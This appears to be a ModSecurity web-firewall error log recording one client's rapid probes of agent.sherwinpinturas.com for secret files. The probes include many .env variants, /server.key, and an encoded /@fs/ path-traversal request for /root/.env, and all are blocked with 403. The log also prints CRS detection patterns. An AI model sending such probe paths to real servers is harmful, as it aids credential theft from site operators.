[Sun Oct 25 18:04:08.910909 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at582I-TViadXnIcy1UXhAAAAA0"]
[Sun Oct 25 18:04:08.911137 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at582OB_1dbJQPYLGME2CQAAAAQ"]
[Sun Oct 25 18:04:08.911282 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at582OB_1dbJQPYLGME2CQAAAAQ"]
[Sun Oct 25 18:04:08.911520 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at582OB_1dbJQPYLGME2CQAAAAQ"]
[Sun Oct 25 18:04:08.911856 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at582AYZaEKvpE7JCm_rHAAAAAA"]
[Sun Oct 25 18:04:08.911991 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at582AYZaEKvpE7JCm_rHAAAAAA"]
[Sun Oct 25 18:04:08.912220 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at582AYZaEKvpE7JCm_rHAAAAAA"]
[Sun Oct 25 18:04:08.913120 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at582BVtY6H0wJd2uaILegAAADA"]
[Sun Oct 25 18:04:08.913248 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at582BVtY6H0wJd2uaILegAAADA"]
[Sun Oct 25 18:04:08.913513 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at582BVtY6H0wJd2uaILegAAADA"]
[Sun Oct 25 18:04:08.914385 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at582BFm2vH00tQABbbu2wAAAAg"]
[Sun Oct 25 18:04:08.914539 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at582BFm2vH00tQABbbu2wAAAAg"]
[Sun Oct 25 18:04:08.914755 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at582BFm2vH00tQABbbu2wAAAAg"]
[Sun Oct 25 18:04:08.915186 2026] [security2:error] [pid 2901884:tid 2901884] [client 34.45.52.133:44122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at582C2Ruv4ouI3ozJsY2AAAAAw"]
[Sun Oct 25 18:04:08.915334 2026] [security2:error] [pid 2901884:tid 2901884] [client 34.45.52.133:44122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at582C2Ruv4ouI3ozJsY2AAAAAw"]
[Sun Oct 25 18:04:08.915613 2026] [security2:error] [pid 2901884:tid 2901884] [client 34.45.52.133:44122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at582C2Ruv4ouI3ozJsY2AAAAAw"]
[Sun Oct 25 18:04:08.919428 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at582C-78Dm3HCMHomsJiwAAAAY"]
[Sun Oct 25 18:04:08.919632 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at582C-78Dm3HCMHomsJiwAAAAY"]
[Sun Oct 25 18:04:08.919852 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at582C-78Dm3HCMHomsJiwAAAAY"]
[Sun Oct 25 18:04:08.928714 2026] [security2:error] [pid 2897962:tid 2897962] [client 34.45.52.133:44106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at582GAGa5qz8A1ZLhszYgAAACs"]
[Sun Oct 25 18:04:08.928866 2026] [security2:error] [pid 2897962:tid 2897962] [client 34.45.52.133:44106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at582GAGa5qz8A1ZLhszYgAAACs"]
[Sun Oct 25 18:04:08.929066 2026] [security2:error] [pid 2897962:tid 2897962] [client 34.45.52.133:44106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at582GAGa5qz8A1ZLhszYgAAACs"]
[Sun Oct 25 18:04:09.252922 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/prompts"] [unique_id "at582RFm2vH00tQABbbu4gAAAAg"]
[Sun Oct 25 18:04:09.252957 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/prompts"] [unique_id "at582RFm2vH00tQABbbu4gAAAAg"]
[Sun Oct 25 18:04:09.284333 2026] [security2:error] [pid 2901884:tid 2901884] [client 34.45.52.133:44122] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/deployments"] [unique_id "at582S2Ruv4ouI3ozJsY4QAAAAw"]
[Sun Oct 25 18:04:09.284361 2026] [security2:error] [pid 2901884:tid 2901884] [client 34.45.52.133:44122] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/deployments"] [unique_id "at582S2Ruv4ouI3ozJsY4QAAAAw"]
[Sun Oct 25 18:04:09.595725 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "agent.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at582S-78Dm3HCMHomsJmAAAAAY"]
[Sun Oct 25 18:04:09.596040 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at582S-78Dm3HCMHomsJmAAAAAY"]
[Sun Oct 25 18:04:09.596274 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at582RFm2vH00tQABbbu6AAAAAg"]
[Sun Oct 25 18:04:09.596287 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at582S-78Dm3HCMHomsJmAAAAAY"]
[Sun Oct 25 18:04:09.596637 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at582RFm2vH00tQABbbu6AAAAAg"]
[Sun Oct 25 18:04:09.596876 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at582RFm2vH00tQABbbu6AAAAAg"]
[Sun Oct 25 18:04:09.627435 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at582Y-TViadXnIcy1UXkwAAAA0"]
[Sun Oct 25 18:04:09.627517 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at582Y-TViadXnIcy1UXkwAAAA0"]
[Sun Oct 25 18:04:09.627550 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at582Y-TViadXnIcy1UXkwAAAA0"]
[Sun Oct 25 18:04:09.627611 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at582Y-TViadXnIcy1UXkwAAAA0"]
[Sun Oct 25 18:04:09.627953 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at582Y-TViadXnIcy1UXkwAAAA0"]
[Sun Oct 25 18:04:09.628208 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at582Y-TViadXnIcy1UXkwAAAA0"]
[Sun Oct 25 18:04:09.629260 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at582S-78Dm3HCMHomsJmQAAAAY"]
